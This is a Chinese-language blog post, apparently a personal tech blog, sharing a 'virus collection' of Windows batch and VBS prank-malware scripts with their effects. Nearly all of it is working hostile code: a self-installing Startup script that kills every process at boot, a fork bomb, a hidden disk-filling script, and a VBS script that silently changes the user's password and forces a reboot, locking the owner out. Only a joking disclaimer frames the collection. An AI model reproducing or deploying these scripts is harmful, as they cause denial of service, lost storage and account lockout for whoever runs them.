病毒大全

avrox發表於2024-07-26

分享一下我的病毒

以下所有病毒禁止非(bu)法(shi)使用，否則後果自負！！！

1. bat病毒

  • 最危險的病毒（儲存為666.bat）

後果:開機就關機
解決辦法：重灌系統

點選檢視程式碼 
Copy 666.bat “%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\”
taskkill /f /fi "pid ne 1"
  • 當機病毒

後果：當機
解決辦法：萬(fei)能(wu)的重啟

點選檢視程式碼 
%0|%0
  • 花花綠綠

後果：廢眼睛
解決辦法：關閉視窗

點選檢視程式碼 
color 1a



echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111


color 2b

echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111



color 3c


echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111


color 4d

echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111

color 5e
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111
echo 11111111111111111111111111111111111

echo
%0
  • 填滿磁碟病毒

後果：C盤爆滿
解決辦法：刪掉 磁碟:/shuxuewansui 目錄（隱藏了，需在檢視·選項中取消勾選“隱藏系統保護檔案”字樣）

點選檢視程式碼 
@echo off
title 填滿磁碟（解決辦法：刪掉隱藏的shuxuewansui目錄）
cls
set file=0
set bigger=10000000000000

:disk
SET/p Disk=磁碟機代號：
echo.
set %Disk%=%Disk:~0,1%
cls
IF NOT EXIST "%disk%:\" (goto disk)
md %disk%:\shuxuewansui
cls
attrib +s +h %disk%:\shuxuewansui

:start
set /a file=%file%+1
echo  %file% %bigger% 
cls
fsutil file createnew %disk%:\shuxuewansui\%file% %bigger%>nul
IF NOT EXIST "%disk%:\shuxuewansui\%file%" (goto bigger)
goto start

:bigger
if /i "%bigger%"=="1" goto exit
if /i "%bigger%"=="10" set bigger=1
if /i "%bigger%"=="100" set bigger=10
if /i "%bigger%"=="1000" set bigger=100
if /i "%bigger%"=="10000" set bigger=1000
if /i "%bigger%"=="100000" set bigger=10000
if /i "%bigger%"=="1000000" set bigger=100000
if /i "%bigger%"=="10000000" set bigger=1000000
if /i "%bigger%"=="100000000" set bigger=10000000
if /i "%bigger%"=="1000000000" set bigger=100000000
if /i "%bigger%"=="10000000000" set bigger=1000000000
if /i "%bigger%"=="100000000000" set bigger=10000000000
if /i "%bigger%"=="1000000000000" set bigger=100000000000
if /i "%bigger%"=="10000000000000" set bigger=1000000000000
goto start

:exit
cls
echo 數學萬歲
echo.
pause

2. VBS病毒

  • 改密碼

後果：修改密碼
解決辦法：拆電腦BIOS並放電或以123456密碼登入

點選檢視程式碼 
Dim fso,ws,file,shut,password
password="123456"
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
fol=fso.GetSpecialFolder(1)
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
ws.run file & " user %UserName% "+Chr(34) & password & Chr(34),0,True
ws.run shut & " /r /f /t 0",0
  • 關不掉1

後果：關不掉
解決辦法：Ctrl+shift+esc開啟工作管理員，結束相關程序

點選檢視程式碼 
do
msgbox("haha")
loop
  • 關不掉2（2000次）

後果：關不掉
解決辦法：Ctrl+shift+esc開啟工作管理員，結束相關程序或點2000次

點選檢視程式碼 
dim s
do until s=2000
s=s+1
msgbox "哈哈哈"
loop

——完——

The+end
點個關注喲(＾Ｕ＾)ノ~ＹＯ

相關文章